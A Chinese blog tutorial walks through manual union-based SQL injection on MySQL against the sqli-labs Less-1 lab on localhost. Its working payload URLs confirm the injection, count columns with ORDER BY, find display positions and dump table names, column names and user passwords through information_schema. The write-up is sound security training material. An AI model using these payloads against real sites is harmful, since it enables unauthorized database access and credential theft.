WEB攻防-通用漏洞-SQL注入-MYSQL-union一般注入

前置知识

  1. MySQL5.0以后存放一个默认数据库information_schema
  2. schemata表存放该用户创建的所有库名,schemata. schema_name字段存放库名
  3. tables表存放该用户创建的所有库名和表明,tables.table_schema字段存放库名,tables.table_name存放表名
  4. columns表存放该用户创建的所有库名、表名和字段名,columns.table_schema存放库名,columns.table_name存放表名,columns.column_name存放字段名
  5. database():当前使用的数据库
  6. version():当前MySQL的版本
  7. @@version_compile_os:当前操作系统
  8. user():当前MySQL的用户
  9. group_concat() 罗列出当前参数的所有数据

靶场平台:

sqli-labs的less1

Union一般注入

判断注入点


127.0.0.1/sql/Less-1/?id=1'输入?id=1’后报错,根据报错信息 ''1'' LIMIT 0,1',单引号包含到就是报错位置'1'' LIMIT 0,1,其中1'是我们传入的,可以看到有一个单引号包裹着,由此推断出该sql语句由单引号的闭合模式

127.0.0.1/sql/Less-1/?id=1' and 1=1%23,(%23代表#),其中and 1=1为真,所以返回结果相同。因为是单引号的闭合模式,所以应该在1后面输入一个单引号将其闭合,否则将把后面的都当作整体,由于我们人为地闭合和引号,语句就变成‘1‘ and 1=1‘ LIMIT 0,1,会报错,

所以需要把后面的注释掉,#在地址栏不自动转换编码,所以手动转换%23,‘1‘ and 1=1#‘ LIMIT 0,1

127.0.0.1/sql/Less-1/?id=1' and 1=2%23,由于and 1=2为假,根据条件判断sql执行后是null的,所以返回未查到数据

order by猜字段数

通过order by n猜当前查询有几个字段,n取返回正常页面的最大值,原理是n代表使用第几列用于排序,假设只有3个字段,n取4就会报错 1054 - Unknown column '4' in 'order clause',因为没有第四个字段

127.0.0.1/sql/Less-1/?id=1' order by 3%23返回正常

127.0.0.1/sql/Less-1/?id=1' order by 4%23返回异常

故n为3,当前查询有3个字段

union联合查询获取显示位

127.0.0.1/sql/Less-1/?id=1' union select 1,2,3%23,order by中n是多少就需要填充几个数字(值)作为占位符,但发现没有得到期望结果

由于mysql前表查询的内容总在前面,后表查询的内容在后面,并且limit 0,1只返回一条结果,所以union获取的结果没有输出

补充:在access数据库中,后面union查询始终在第一行。

把参数修改为数据库中没有的数据,如-999,让前表无法查询到,从而返回后表的内容

 故只要使得前表查询失败即可,127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3%23,从而得到显示位为2和3,这时就可以通过显示位去注入一些sql语句或函数来达到目的

注入利用

根据前置知识获取数据库的信息和数据

127.0.0.1/sql/Less-1/?id=-1' union select 1,version(),database()%23,尝试获取数据库名和数据库版本

group_concat() 将当前获取的所有数据拼接输出

查数据库security下的表名:127.0.0.1/sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 'security'%23

查users表的字段名:127.0.0.1/sql/Less-1/?id=-1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'# 

查询username和password:127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users %23

  • 29
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

癞皮狗不赖皮

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值